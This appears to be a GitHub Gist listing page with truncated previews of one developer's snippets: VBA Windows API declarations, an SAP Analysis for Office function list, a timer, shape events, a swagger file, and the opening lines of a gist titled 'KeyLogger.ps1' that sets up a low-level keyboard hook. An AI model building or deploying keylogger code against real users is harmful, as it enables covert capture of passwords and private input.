Skip to content

Instantly share code, notes, and snippets.

InfoNet and InfoWorks REST Servers.md

Motivation for a REST Server

Data accessibility

InfoNet and InfoWorks is renound for innaccessibility of data. Business critical asset data is often captured in models, and then never shared with the outside world. Typically the only way to share data with the outside world is via manual exports to a GIS format, and interpreting the data through other system.

This needs to change and a REST API for InfoNet and InfoWorks is an ideal candidate for connectivity of this data.

Moving to the cloud

Note at the time this was written, Serialize returned purely the ObjPtr and no extra data.

'Direct call convention of VBA.CallByName
#If VBA7 Then
  Private Declare PtrSafe Function rtcCallByName Lib "msvbvm60" (ByRef vRet As Variant, ByVal cObj As Object, ByVal sMethod As LongPtr, ByVal eCallType As VbCallType, ByRef pArgs() As Variant, ByVal lcid As Long) As Long
  Private Declare PtrSafe Sub VariantCopy Lib "oleaut32.dll" (ByRef pvargDest As Variant, ByRef pvargSrc As Variant)
  Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByRef Destination As Any, ByVal Source As LongPtr, ByVal length As Long)
#Else
  Private Declare Function rtcCallByName Lib "msvbvm60" (ByRef vRet As Variant, ByVal cObj As Object, ByVal sMethod As LongPtr, ByVal eCallType As VbCallType, ByRef pArgs() As Variant, ByVal lcid As Long) As Long

Put object can be used to register instances to the ROT

Option Explicit
 
Private Declare Function CreateFileMoniker Lib "ole32" (ByVal lpszPathName As Long, pResult As IUnknown) As Long
Private Declare Function GetRunningObjectTable Lib "ole32" (ByVal dwReserved As Long, pResult As IUnknown) As Long
Private Declare Function DispCallFunc Lib "oleaut32" (ByVal pvInstance As Long, ByVal oVft As Long, ByVal lCc As Long, ByVal vtReturn As VbVarType, ByVal cActuals As Long, prgVt As Any, prgpVarg As Any, pvargResult As Variant) As Long
 
@sancarn
sancarn / . ICM Open Network Object Numbat.md
Last active June 10, 2020 11:14
Get the WSOpenNetwork object as a WSNumbatNetwork object, allowing you to get properties like name, id etc.

SAP Analysis for Office has a bunch of defined functions which can be used in VBA or otherwise, This function list was extracted from the BiExcelBase.tlb type library.

Function BExGetCellData(iMemberX As String, iMemberY As String, iDataProviderName As String)
    Member of BiExcelBase.EaExcelFunctions

Function BExGetData(iDataProviderName As String, iDimensionValueList() As String)
    Member of BiExcelBase.EaExcelFunctions

Sub CallbackAfterWorkbookClose()
@sancarn
sancarn / KeyLogger.ps1
Created January 14, 2020 00:07
KeyLogger C# / Powershell
Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace KeyLogger {
public static class Program {
private const int WH_KEYBOARD_LL = 13;
{
"swagger": "2.0",
"info": {
"title": "GISSTOnline",
"description": "GISSTOnline Connector",
"version": "1.0"
},
"host": "www.arcgis.com",
"basePath": "/sharing/rest/",
"schemes": [
Option Private Module
Private Declare Function getFrequency Lib "kernel32" Alias "QueryPerformanceFrequency" (cyFrequency As Currency) As Long
Private Declare Function getTickCount Lib "kernel32" Alias "QueryPerformanceCounter" (cyTickCount As Currency) As Long
Public iTimerAverage As Double, iTimerStart As Double
Function MicroTimer() As Double
' Returns seconds.
Dim cyTicks1 As Currency
Static cyFrequency As Currency
@sancarn
sancarn / CShapeEvents.cls
Last active August 9, 2023 07:58
Shape events in VBA
VERSION 1.0 CLASS
BEGIN
MultiUse = -1 'True
END
Attribute VB_Name = "stdShapeEvents"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False

Summary

Excel.Worksheet
Excel.Workbook
Excel.QueryTable
Excel.OLEObject
Excel.Chart
Excel.Application